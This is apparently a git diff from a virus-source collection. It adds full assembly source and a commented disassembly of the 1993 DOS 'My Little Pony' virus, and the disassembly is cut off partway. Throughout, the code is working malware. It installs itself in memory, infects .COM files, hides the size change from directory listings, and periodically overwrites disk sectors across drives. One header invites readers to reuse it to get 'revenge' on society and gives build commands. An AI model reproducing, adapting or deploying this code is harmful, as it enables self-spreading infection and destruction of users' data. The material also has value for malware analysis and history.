+; Greetings to; The Unforgiven for giving me AT&T's ; +; Immortal Riot's members '94 ; +; The man sitting in basement ; +; ; +; ps! Tasm /m3 and tlink /t to get this babe into executable! +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; + +start: + call $+3 +sub_this: pop bp + + mov ax,0dd22h ;are we already in memory? + int 21h + cmp ax,03d33h + jne $+7 + lea dx,[bp+(cancel-sub_this)] + jmp far ptr dx + + mov ax,3521h ;get int 21h vect + int 21h + mov [bp+(int_21h_off-sub_this)],bx + mov [bp+(int_21h_seg-sub_this)],es + + mov ax,cs + dec ax + mov es,ax + mov ax,es:[0003h] + sub ax,[bp+(memlen-sub_this)] + mov es:[0003h],ax + mov ax,[bp+(memlen-sub_this)] + sub word ptr es:[0012h],ax + mov es,es:[0012h] + push es + + lea si,[bp+(start-sub_this)] + mov di,0100h + mov cx,[bp+(filelen-sub_this)] + rep movsb + + pop ds ;es => ds + mov ax,2521h ;new vector at ES:0100 + lea dx,new_int_21h + int 21h +cancel: + push cs ;cs => ds => es + push cs + pop ds + pop es + + lea si,[bp+(first_bytes-sub_this)] + mov cx,3 + mov di,100h + rep movsb + sub di,3 + jmp far ptr di + + db 'Simple Simon met a pieman going to the fair said' + db ' Simple Simon to the pieman let me take your ware' +write_rnd_sector: + cmp dh,0 ;sec + jne back + + cmp dl,5 ;100th + ja back + + + pushf ;fuck rnd sector + push bx + + call get_rnd + mov cx,10 ;/ 10 + xor dx,dx + div cx + mov dx,ax ;dx=ax + + mov al,2h ; Drive #, start with C: + mov cx,1h ; # of sectors to overwrite + lea bx,logo ; Address to overwriting DATA +loopie: + int 26h + popf + inc al + cmp al,25 + jne loopie + + + pop bx + popf + jmp back + + db '(c)1993 Cruel Entity' + +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +; New int 21h +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +new_int_21h: + pushf + + cmp ax,0dd22h ;check if resident + je mem_check + + cmp ah,11h ;find 1st old + je find_old + cmp ah,12h ;find 1st old + je find_old + + cmp ah,4eh ;dos 2.x + je find_ + cmp ah,4fh + je find_ + + cmp ah,3dh ;open + je open_ + + cmp ah,3eh ;close + je close_ + + cmp ah,2ch + je back2 + + push ax + push cx + push dx + + mov ah,2ch + int 21h + + cmp cl,00 ;a new hour? + je write_rnd_sector +back: + pop dx + pop cx + pop ax + +back2: + cmp ah,36h + jne return_21h + push bp + lea bp,get_free_space + jmp far ptr bp +return_21h: + popf + +real_int_21h: db 0eah ;jmp... +int_21h_off dw ? ;to old int 21h +int_21h_seg dw ? +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +find_: + push bp + lea bp,find_new + jmp far ptr bp + +open_: + push bp + lea bp,open + jmp far ptr bp +close_: + push bp + lea bp,close_file + jmp far ptr bp + +mem_check: + popf + mov ax,3d33h + iret +call_int21h: + jmp dword ptr cs:int_21h_off ;force a call to DOS + ret + +find_old: + popf + + pushf ;find fcb + push cs + call call_int21h + cmp al,0ffh + je no_more_files + + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,16 ;ext name + lodsw + cmp ax,'OC' ;.CO + jne cancel_ff + lodsb + cmp al,'M' ;M + jne cancel_ff +ext_ok: + ;ext=com + mov si,bx ;check size + add si,26h + lodsw + cmp ax,0 ;=> 0ffffh? + jne cancel_ff + + mov si,bx ;check if already infected + add si,30 + lodsw ;time + and al,00011111b + cmp al,00001010b + je $+7 ;already infected (sec=24) + lea dx,store_in_mem + jmp far ptr dx + + mov si,bx ;alter size + add si,36 + mov di,si + lodsw + sub ax,cs:filelen + jz cancel_ff + stosw +cancel_ff: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files: retf 2 ;iret flags + + db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%" + +store_in_mem: ;store filename in buffer + mov si,bx + add si,8 + + push cs ;cs => es + pop es + + mov cx,10 + lea di,file_buffer ;check pos +check_pos: + cmp byte ptr es:[di],20h + je store + add di,8 + loop check_pos + jmp cancel_ff + +store: + mov cx,8 + rep movsb + jmp cancel_ff +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +get_free_space: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + push cs ;cs=> ds=> es + push cs + pop ds + pop es + + lea di,file_buffer + mov cx,10 +check_last: + cmp byte ptr [di],20h ;check if last + je cancel_inf + + push di + push cx + mov si,di ;si=file pos + call infect + pop cx + pop di + + add di,8 + loop check_last +cancel_inf: + push cs + pop es + lea di,file_buffer + mov cx,80+12 + mov al,20h + rep stosb + + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp real_int_21h + +infect: + ;convert filename to asciiz + lea di,filename + mov cx,8 ;filename NOT ext +cpy_filename: + lodsb + cmp al,20h + je filename_klar + stosb + loop cpy_filename +filename_klar: + mov al,'.' + stosb + mov al,'C' + stosb + mov al,'O' + stosb + mov al,'M' + stosb + mov al,0 + stosb + + push cs + pop ds + + mov ax,4300h ;get attrib + lea dx,filename + int 21h + jnc $+3 ;error? + ret + + push cx ;save attrib + + xor cx,cx + mov ax,4301h ;force all attribs + int 21h + + mov ax,3d02h ;open filename + lea dx,filename + pushf + push cs + call call_int21h + mov bx,ax ;save handle + + mov ax,5700h ;get time/date + int 21h + + push dx ;save time/date + push cx + + and cl,00011111b + cmp cl,00001010b + jne $+7 ;already infected (sec=24) + lea dx,cancel_inf2 + jmp far ptr dx + + + + mov ah,3fh ;read 3 first bytes + mov cx,3 + lea dx,first_bytes + int 21h + + mov ax,4202h ;goto eof + xor dx,dx + xor cx,cx + int 21h + + sub ax,3 ;create a jmp + mov jmp_2,ax + + mov ah,40h ;write virus + mov dx,100h + mov cx,filelen + int 21h + + mov ax,4200h ;goto beg + xor dx,dx + xor cx,cx + int 21h + + mov ah,40h ;write jmp + mov cx,3 + lea dx,jmp_1 + int 21h +cancel_inf2: + pop cx ;restore time/date + pop dx + + and cl,11100000b ;secs=20 + or cl,00001010b + mov ax,5701h ;set time/date + int 21h + + mov ah,3eh ;close + pushf + push cs + call call_int21h + + mov ax,4301h ;set attrib + lea dx,filename + pop cx ;restore attrib + int 21h + + ret +find_new: + pop bp + popf + + pushf ;find 4e + push cs + call call_int21h + jnc more_files + retf 2 +more_files: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + + mov si,bx ;ds:si + + push cs ;cs => es + pop es + + add si,1eh ;f name + lea di,filename + mov cx,25 + +get_fname: + lodsb + cmp al,0 + je get_f_klar + stosb + loop get_fname +get_f_klar: + mov al,0 ;asciiz + stosb + + push ds ;ds=> es + pop es + push cs ;cs=> ds + pop ds + mov si,di + + sub si,4 ;'COM' + lodsw ;CO + + cmp ax,'OC' + je check_m + cmp ax,'oc' + jne cancel_new +check_m: + lodsb + cmp al,'m' + je ext_is_com + cmp al,'M' + jne cancel_new + +ext_is_com: + push es ;es=> ds + pop ds + + mov si,bx + add si,1ch ;check size + lodsw + cmp ax,0 ;=> 0ffffh + jne cancel_new + + mov si,bx + add si,16h + lodsw ;time + and al,00011111b + cmp al,00001010b + jne cancel_new ;not infected + + mov si,bx + add si,1ah + mov di,si + lodsw ;alter size + sub ax,cs:filelen + jz cancel_new + stosw + +cancel_new: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files2: retf 2 ;iret flags +open: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + + mov al,'.' + push ds ;ds=> es + pop es + mov di,dx ;es:di filename + + mov cx,50 + repnz scasb + + mov si,di ;ds:si file ext. + + lodsw + cmp ax,'OC' + je check_m2 + cmp ax,'oc' + je $+7 + lea dx,cancel_open + jmp far ptr dx +check_m2: + lodsb + cmp al,'m' + je ext_is_com2 + cmp al,'M' + jne cancel_open + +ext_is_com2: + mov ax,3d02h ;open file + pushf + push cs + call call_int21h + jc cancel_open + mov bx,ax + + push cs + pop ds + push cs + pop es + + mov ax,5700h ;get time/date + int 21h + + and cl,00011111b ;already infected + cmp cl,00001010b + jne cancel_open + + mov ax,4202h ;goto eof + xor dx,dx + xor cx,cx + int 21h + + push ax ;save size + sub ax,3 + + mov dx,ax ;goto eof -3 + mov ax,4200h + mov cx,0 + int 21h + + mov ah,3fh ;read + mov cx,3 + lea dx,temp_bytes + int 21h + + + mov ax,4200h ;goto beg + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;write original + mov cx,3 + lea dx,temp_bytes + int 21h + + pop dx + sub dx,filelen + + mov ax,4200h ;goto real size + mov cx,0 + int 21h + + mov ah,40h + mov cx,0 + int 21h + + mov ah,3eh + pushf + push cs + call call_int21h +cancel_open: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + pushf ;open file... + push cs + call call_int21h + retf 2 + +close_file: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov ax,1220h ;get handle table + int 02Fh + mov bl,es:[di] + mov ax,1216h + int 02Fh + + mov bp,di + + add di,28h + push es + pop ds + mov si,di + lodsw + cmp ax,'OC' + jne cancel_open + lodsb + cmp al,'M' + jne cancel_open + + mov si,bp + add si,20h + push cs + pop es + + call infect + + jmp cancel_open + +get_rnd: + push dx + push cx + push bx + in al,40h ;'@' + add ax,0000 + mov dx,0000 + mov cx,0007 +rnd_init5: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_init6 + inc al +rnd_init6: + loop rnd_init5 + pop bx + mov al,dl + pop cx + pop dx +rnd_init_ret: + ret + +logo db '>>> A.N.O.I <<<' ; DATA to overwrite with + + +temp_bytes db 3 dup(?) +filelen dw offset eof - offset start +memlen dw 100 +file_buffer db 80 dup(20h) +filename db 12 dup(?) + +jmp_1 db 0e9h +jmp_2 dw ? +first_bytes db 90h,0cdh,20h + +eof: + end start \ No newline at end of file diff --git a/m/MLP1307A.ASM b/m/MLP1307A.ASM new file mode 100755 index 0000000..d71d371 --- /dev/null +++ b/m/MLP1307A.ASM @@ -0,0 +1,749 @@ + .model tiny + .code + + org 100h + +start: + +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; +; A NEW ORDER OF INTELLIGENCE PRESENTS: ; +; My Little Pony 1.00 ; +; Copyright (c) 1992, 1993 by Cruel Entity / Macaroni Ted ; +; - A.N.O.I - ; +; ; +; ; +; I know that there is a much better documented source-code for this ; +; virus. And I'm also very interessted to get in touch with the guy ; +; who did that documentation. Please contact me. ; +; ; +; You may freely use this code as you want, just give me some of the ; +; credits. Please learn to create virus, so we, together can get our ; +; revenge to the soceity. Learn to feel the feeling being cruel! ; +; ; +; Of cource I can't take any responsibility for all virus-coders ; +; who use any of the routines in this virus. ; +; ; +; ; +; Greetings to; The Unforgiven for giving me AT&T's ; +; Immortal Riot's members '94 ; +; The man sitting in basement ; +; ; +; ps! Tasm /m3 and tlink /t to get this babe into executable! +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=; + +start: + call $+3 +sub_this: pop bp + + mov ax,0dd22h ;are we already in memory? + int 21h + cmp ax,03d33h + jne $+7 + lea dx,[bp+(cancel-sub_this)] + jmp far ptr dx + + mov ax,3521h ;get int 21h vect + int 21h + mov [bp+(int_21h_off-sub_this)],bx + mov [bp+(int_21h_seg-sub_this)],es + + mov ax,cs + dec ax + mov es,ax + mov ax,es:[0003h] + sub ax,[bp+(memlen-sub_this)] + mov es:[0003h],ax + mov ax,[bp+(memlen-sub_this)] + sub word ptr es:[0012h],ax + mov es,es:[0012h] + push es + + lea si,[bp+(start-sub_this)] + mov di,0100h + mov cx,[bp+(filelen-sub_this)] + rep movsb + + pop ds ;es => ds + mov ax,2521h ;new vector at ES:0100 + lea dx,new_int_21h + int 21h +cancel: + push cs ;cs => ds => es + push cs + pop ds + pop es + + lea si,[bp+(first_bytes-sub_this)] + mov cx,3 + mov di,100h + rep movsb + sub di,3 + jmp far ptr di + + db 'Simple Simon met a pieman going to the fair said' + db ' Simple Simon to the pieman let me take your ware' +write_rnd_sector: + cmp dh,0 ;sec + jne back + + cmp dl,5 ;100th + ja back + + + pushf ;fuck rnd sector + push bx + + call get_rnd + mov cx,10 ;/ 10 + xor dx,dx + div cx + mov dx,ax ;dx=ax + + mov al,2h ; Drive #, start with C: + mov cx,1h ; # of sectors to overwrite + lea bx,logo ; Address to overwriting DATA +loopie: + int 26h + popf + inc al + cmp al,25 + jne loopie + + + pop bx + popf + jmp back + + db '(c)1993 Cruel Entity' + +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +; New int 21h +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +new_int_21h: + pushf + + cmp ax,0dd22h ;check if resident + je mem_check + + cmp ah,11h ;find 1st old + je find_old + cmp ah,12h ;find 1st old + je find_old + + cmp ah,4eh ;dos 2.x + je find_ + cmp ah,4fh + je find_ + + cmp ah,3dh ;open + je open_ + + cmp ah,3eh ;close + je close_ + + cmp ah,2ch + je back2 + + push ax + push cx + push dx + + mov ah,2ch + int 21h + + cmp cl,00 ;a new hour? + je write_rnd_sector +back: + pop dx + pop cx + pop ax + +back2: + cmp ah,36h + jne return_21h + push bp + lea bp,get_free_space + jmp far ptr bp +return_21h: + popf + +real_int_21h: db 0eah ;jmp... +int_21h_off dw ? ;to old int 21h +int_21h_seg dw ? +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +find_: + push bp + lea bp,find_new + jmp far ptr bp + +open_: + push bp + lea bp,open + jmp far ptr bp +close_: + push bp + lea bp,close_file + jmp far ptr bp + +mem_check: + popf + mov ax,3d33h + iret +call_int21h: + jmp dword ptr cs:int_21h_off ;force a call to DOS + ret + +find_old: + popf + + pushf ;find fcb + push cs + call call_int21h + cmp al,0ffh + je no_more_files + + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + mov si,bx ;ds:si + + add si,16 ;ext name + lodsw + cmp ax,'OC' ;.CO + jne cancel_ff + lodsb + cmp al,'M' ;M + jne cancel_ff +ext_ok: + ;ext=com + mov si,bx ;check size + add si,26h + lodsw + cmp ax,0 ;=> 0ffffh? + jne cancel_ff + + mov si,bx ;check if already infected + add si,30 + lodsw ;time + and al,00011111b + cmp al,00001010b + je $+7 ;already infected (sec=24) + lea dx,store_in_mem + jmp far ptr dx + + mov si,bx ;alter size + add si,36 + mov di,si + lodsw + sub ax,cs:filelen + jz cancel_ff + stosw +cancel_ff: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files: retf 2 ;iret flags + + db "%%% MY LITTLE PONY %%% COPYRIGHT(C) 1993 A.N.O.I. %%%" + +store_in_mem: ;store filename in buffer + mov si,bx + add si,8 + + push cs ;cs => es + pop es + + mov cx,10 + lea di,file_buffer ;check pos +check_pos: + cmp byte ptr es:[di],20h + je store + add di,8 + loop check_pos + jmp cancel_ff + +store: + mov cx,8 + rep movsb + jmp cancel_ff +;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +get_free_space: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + push cs ;cs=> ds=> es + push cs + pop ds + pop es + + lea di,file_buffer + mov cx,10 +check_last: + cmp byte ptr [di],20h ;check if last + je cancel_inf + + push di + push cx + mov si,di ;si=file pos + call infect + pop cx + pop di + + add di,8 + loop check_last +cancel_inf: + push cs + pop es + lea di,file_buffer + mov cx,80+12 + mov al,20h + rep stosb + + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp real_int_21h + +infect: + ;convert filename to asciiz + lea di,filename + mov cx,8 ;filename NOT ext +cpy_filename: + lodsb + cmp al,20h + je filename_klar + stosb + loop cpy_filename +filename_klar: + mov al,'.' + stosb + mov al,'C' + stosb + mov al,'O' + stosb + mov al,'M' + stosb + mov al,0 + stosb + + push cs + pop ds + + mov ax,4300h ;get attrib + lea dx,filename + int 21h + jnc $+3 ;error? + ret + + push cx ;save attrib + + xor cx,cx + mov ax,4301h ;force all attribs + int 21h + + mov ax,3d02h ;open filename + lea dx,filename + pushf + push cs + call call_int21h + mov bx,ax ;save handle + + mov ax,5700h ;get time/date + int 21h + + push dx ;save time/date + push cx + + and cl,00011111b + cmp cl,00001010b + jne $+7 ;already infected (sec=24) + lea dx,cancel_inf2 + jmp far ptr dx + + + + mov ah,3fh ;read 3 first bytes + mov cx,3 + lea dx,first_bytes + int 21h + + mov ax,4202h ;goto eof + xor dx,dx + xor cx,cx + int 21h + + sub ax,3 ;create a jmp + mov jmp_2,ax + + mov ah,40h ;write virus + mov dx,100h + mov cx,filelen + int 21h + + mov ax,4200h ;goto beg + xor dx,dx + xor cx,cx + int 21h + + mov ah,40h ;write jmp + mov cx,3 + lea dx,jmp_1 + int 21h +cancel_inf2: + pop cx ;restore time/date + pop dx + + and cl,11100000b ;secs=20 + or cl,00001010b + mov ax,5701h ;set time/date + int 21h + + mov ah,3eh ;close + pushf + push cs + call call_int21h + + mov ax,4301h ;set attrib + lea dx,filename + pop cx ;restore attrib + int 21h + + ret +find_new: + pop bp + popf + + pushf ;find 4e + push cs + call call_int21h + jnc more_files + retf 2 +more_files: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + + mov ah,2fh ;get dta + int 21h + + push es ;es:bx + pop ds ;ds:bx + + mov si,bx ;ds:si + + push cs ;cs => es + pop es + + add si,1eh ;f name + lea di,filename + mov cx,25 + +get_fname: + lodsb + cmp al,0 + je get_f_klar + stosb + loop get_fname +get_f_klar: + mov al,0 ;asciiz + stosb + + push ds ;ds=> es + pop es + push cs ;cs=> ds + pop ds + mov si,di + + sub si,4 ;'COM' + lodsw ;CO + + cmp ax,'OC' + je check_m + cmp ax,'oc' + jne cancel_new +check_m: + lodsb + cmp al,'m' + je ext_is_com + cmp al,'M' + jne cancel_new + +ext_is_com: + push es ;es=> ds + pop ds + + mov si,bx + add si,1ch ;check size + lodsw + cmp ax,0 ;=> 0ffffh + jne cancel_new + + mov si,bx + add si,16h + lodsw ;time + and al,00011111b + cmp al,00001010b + jne cancel_new ;not infected + + mov si,bx + add si,1ah + mov di,si + lodsw ;alter size + sub ax,cs:filelen + jz cancel_new + stosw + +cancel_new: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +no_more_files2: retf 2 ;iret flags +open: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + + mov al,'.' + push ds ;ds=> es + pop es + mov di,dx ;es:di filename + + mov cx,50 + repnz scasb + + mov si,di ;ds:si file ext. + + lodsw + cmp ax,'OC' + je check_m2 + cmp ax,'oc' + je $+7 + lea dx,cancel_open + jmp far ptr dx +check_m2: + lodsb + cmp al,'m' + je ext_is_com2 + cmp al,'M' + jne cancel_open + +ext_is_com2: + mov ax,3d02h ;open file + pushf + push cs + call call_int21h + jc cancel_open + mov bx,ax + + push cs + pop ds + push cs + pop es + + mov ax,5700h ;get time/date + int 21h + + and cl,00011111b ;already infected + cmp cl,00001010b + jne cancel_open + + mov ax,4202h ;goto eof + xor dx,dx + xor cx,cx + int 21h + + push ax ;save size + sub ax,3 + + mov dx,ax ;goto eof -3 + mov ax,4200h + mov cx,0 + int 21h + + mov ah,3fh ;read + mov cx,3 + lea dx,temp_bytes + int 21h + + + mov ax,4200h ;goto beg + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;write original + mov cx,3 + lea dx,temp_bytes + int 21h + + pop dx + sub dx,filelen + + mov ax,4200h ;goto real size + mov cx,0 + int 21h + + mov ah,40h + mov cx,0 + int 21h + + mov ah,3eh + pushf + push cs + call call_int21h +cancel_open: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + + pushf ;open file... + push cs + call call_int21h + retf 2 + +close_file: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov ax,1220h ;get handle table + int 02Fh + mov bl,es:[di] + mov ax,1216h + int 02Fh + + mov bp,di + + add di,28h + push es + pop ds + mov si,di + lodsw + cmp ax,'OC' + jne cancel_open + lodsb + cmp al,'M' + jne cancel_open + + mov si,bp + add si,20h + push cs + pop es + + call infect + + jmp cancel_open + +get_rnd: + push dx + push cx + push bx + in al,40h ;'@' + add ax,0000 + mov dx,0000 + mov cx,0007 +rnd_init5: + shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_init6 + inc al +rnd_init6: + loop rnd_init5 + pop bx + mov al,dl + pop cx + pop dx +rnd_init_ret: + ret + +logo db '>>> A.N.O.I <<<' ; DATA to overwrite with + + +temp_bytes db 3 dup(?) +filelen dw offset eof - offset start +memlen dw 100 +file_buffer db 80 dup(20h) +filename db 12 dup(?) + +jmp_1 db 0e9h +jmp_2 dw ? +first_bytes db 90h,0cdh,20h + +eof: + end start diff --git a/m/MLP1307B.ASM b/m/MLP1307B.ASM new file mode 100755 index 0000000..08268c3 --- /dev/null +++ b/m/MLP1307B.ASM @@ -0,0 +1,777 @@ +;My Little Pony v1.00 disassembly - sort of. +;By Cruel Entity of ANOI. Related to CyberCide. + +;Well, the comments are a bit bitchy, probably coz I was in a really +;really bad mood when I wrote them. The virus author, Cruel Entity, +;knows how to make a nice virus, he just doesn't have enough assembly +;experience to make something really worth while, imho of course. + +;Bummer: Still some loc_xxx's left, hrmpf, I won't care if you don't. + +;Just dump this one in your misc. garbage area dude.. :-) + + .model tiny + + .code + + org 100h + +start: + call get_relative +get_relative: + pop bp + + mov ax,0DD22h + int 21h ;Installation check. + cmp ax,3D33h + jne not_installed + +;* lea dx, [bp+restore_carrier-get_relative] + db 08dh, 56h, 52h + + jmp dx + +not_installed: + mov ax,3521h + int 21h ;Get int21 vector + + mov [bp+int21offset-get_relative],bx + mov [bp+int21seg-get_relative],es ;Store it. + + mov ax,cs + dec ax + mov es,ax ;ES:0 points to MCB. + + mov ax,es:[3] + sub ax,[bp+parasize-get_relative] + mov es:[3],ax ;Shrink blocksize. + + mov ax,[bp+parasize-get_relative] + sub es:[12h],ax ;Free top mem. + + mov es,es:[12h] + push es + lea si,[bp-3] ;SI points to start of + ;virus. + mov di,100h + mov cx,[bp+virussize-get_relative] + rep movsb ;Copy virus up there. + + pop ds + + mov ax,2521h + mov dx, offset int21 + int 21h ;Set new int21 vector. + +restore_carrier: + push cs + push cs + pop ds + pop es + lea si,[bp+restore_bytes-get_relative] + mov cx,3 + mov di,100h + rep movsb ;Restore host. + sub di,3 + jmp di ;Restart host. + +db 'Simple Simon met a pieman going to the fair said Simple Simon to ' +db 'the pieman let me take your ware' + +activate: + cmp dh,0 ;Seconds 0? + jne no_activate + cmp dl,5 ;Hundredth's less than 5? + ja no_activate + + pushf + push bx + call get_random + + mov cx,0Ah + xor dx,dx + div cx + mov dx,ax + mov al,2 + mov cx,1 + mov bx,offset anoi +kill_sector: + int 26h ;Sector write. + + popf + inc al + + cmp al, 25 + jne kill_sector + + pop bx + popf + jmp short no_activate + + db '(c)1993 Cruel Entity' + +int21: + pushf + cmp ax, 0dd22h + jz inst_chk + cmp ah,11h + jz fcb_stealth + cmp ah,12h + jz fcb_stealth + cmp ah,4eh + jz go_handle_stealth + cmp ah,4fh + jz go_handle_stealth + cmp ah,3dh + jz go_file_open + cmp ah,3eh + jz go_file_close + cmp ah,2ch + jz get_time + + push ax + push cx + push dx + mov ah, 2ch ;Get DOS time. + int 21h + + cmp cl,0 + jz activate + +no_activate: + pop dx + pop cx + pop ax + +get_time: + cmp ah,36h + jne _pass_int + + push bp + mov bp,offset loc_20 + jmp bp +_pass_int: + popf ; Pop flags +pass_int: + db 0eah +int21offset dw 0 +int21seg dw 0 + +go_handle_stealth: + push bp + mov bp,offset handle_stealth + jmp bp + +go_file_open: + push bp + mov bp,offset file_open + jmp bp +go_file_close: + push bp + mov bp,offset file_close + jmp bp + +inst_chk: + popf + mov ax,3D33h + iret + +call_dos: + jmp dword ptr cs:[int21offset] + db 0C3h + +fcb_stealth: + popf + pushf + + push cs + call call_dos ;First let's see what + ;DOS has to say.. + + cmp al,0FFh ;0FFH indicates + ;no match found + je exit_fcb_stealth +match_found: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp ;Push the lot. + + mov ah,2Fh + int 21h ;Get DTA + + push es + pop ds ;DS:BX points to DTA. + + mov si,bx ;DS:SI points to DTA. + + add si,10h ;SI points to extension. + ; + + ;(lamer) + + lodsw + cmp ax,'OC' ;Extension starts with CO? + jne no_fcb_stealth + + lodsb + cmp al,'M' ;Last char M? + jne no_fcb_stealth + + mov si,bx + add si,26h ;I don't mean to sound + ;bitchy, but IMO, + ;ADD SI, 13h would've + ;been what normal persons + ;would've done. + + ;Offset 26h is a reserved + ;position within an + ;extended FCB. + + ; + + lodsw + cmp ax,0 ;OR AX,AX? Naaaah! + jne no_fcb_stealth + + mov si,bx + add si,1Eh ;offset 1eh is the high + ;byte of file time. + lodsw + and al,1Fh + cmp al,0Ah + je proceed_fcb_stealth + + mov dx,offset loc_17 + jmp dx +proceed_fcb_stealth: + mov si,bx + add si,24h ;If I remember correctly, + ;this is an undocumented + ;copy of the filesize within + ;the FCB structure. THIS + ;is the value that is + ;printed in a dir listing. + + mov di,si + lodsw + sub ax,cs:virussize ;Hm, I can't seem to figure + jz no_fcb_stealth ;out if this guy is just + stosw ;stupid or ignorant when it + ;comes to asm. +no_fcb_stealth: + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + +exit_fcb_stealth: + retf 2 + +db '%%% MY LITTLE PONY %%% ' +db 'COPYRIGHT(C) 1993 A.N.O.I. %%%' + +loc_17: + mov si,bx + add si,8 + push cs + pop es + mov cx,0Ah + mov di,offset something + +locloop_18: + cmp byte ptr es:[di],' ' + je loc_19 + add di,8 + loop locloop_18 + + jmp short no_fcb_stealth +loc_19: + mov cx,8 + rep movsb + jmp short no_fcb_stealth + +loc_20: + pop bp + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp ;Push some regs. + + push cs + push cs + pop ds + pop es + + mov di,offset something + mov cx,0Ah + +locloop_21: + cmp byte ptr [di],' ' + je loc_22 + push di + push cx + mov si,di + call try_infect + pop cx + pop di + add di,8 + loop locloop_21 + +loc_22: + push cs + pop es + mov di,offset something + mov cx,5Ch + mov al,' ' + rep stosb + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf + jmp pass_int + +try_infect: ;JESUS! It's actually + ;a subroutine!! + + ;He knows what a sub + ;IS!! Wow! I'm shocked! + mov di,offset filename + mov cx,8 + +copyloop2: + lodsb + cmp al,' ' + je endcopy2 + stosb + loop copyloop2 +endcopy2: + + mov al,'.' + stosb + mov al,'C' + stosb + mov al,'O' + stosb + mov al,'M' + stosb + mov al,0 + stosb + + push cs + pop ds + + mov ax,4300h + mov dx,offset filename + int 21h ;Get attributes. + + jnc got_attributes + retn +got_attributes: + push cx + xor cx,cx + mov ax,4301h + int 21h ;Zoink attributes. + + mov ax,3D02h + mov dx,609h + pushf ;Open file in read/write mode. + + push cs + call call_dos + + mov bx,ax ;Handle to BX + + mov ax,5700h + int 21h ;Get file date/time. + + push dx + push cx + and cl,1Fh + cmp cl,0Ah + jne continue_infect + + mov dx,offset exit_infect + jmp dx +continue_infect: + mov ah,3Fh + mov cx,3 + mov dx,offset restore_bytes + int 21h ;Read first three bytes. + + mov ax,4202h + xor dx,dx + xor cx,cx + int 21h ;Seek to EOF + + sub ax,3 + + mov jmp_data,ax + mov ah,40h + mov dx,100h + mov cx,virussize + int 21h ;Append virus to file. + + mov ax,4200h + xor dx,dx + xor cx,cx + int 21h ;Seek to start. + + mov ah,40h + mov cx,3 + mov dx,offset jmp_op + int 21h ;Overwrite with JMP + +exit_infect: + pop cx + pop dx + and cl,0E0h + or cl,0Ah + mov ax,5701h + int 21h ;Givvit the special date/time + ;already-infected type + ;designation treatment.. + + + mov ah,3Eh + pushf + push cs + call call_dos ;CL00000000SE 'r up! + + mov ax,4301h + mov dx,offset filename + pop cx + int 21h ;Restore kuhl attribs.. + + ret + +handle_stealth: + pop bp + popf + pushf + push cs + call call_dos + jnc handle_match_found + retf 2 +handle_match_found: + pushf + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp ;Push the lot. + mov ah,2Fh + int 21h ;Get DTA + + push es + pop ds ;DS:BX points to DTA. + mov si,bx ;DS:SI points to DTA. + + push cs + pop es + + add si,1Eh ;1eh is start of filename + ;within the DTA struct. + mov di,offset filename + mov cx,25 + +copyloop: + lodsb + cmp al,0 + je end_copy ;Copy filename to buffer. + stosb + loop copyloop + +end_copy: + mov al,0 + stosb ;Make it a valid ASCIIZ + ;string. + push ds + pop es + push cs + pop ds + + mov si,di + sub si,4 ;Assume extension is three + ;characters. + + lodsw + cmp ax,'OC' + je starts_with_co + cmp ax,'oc' + jne no_handle_stealth +starts_with_co: + lodsb + cmp al,'m' + je com_file + 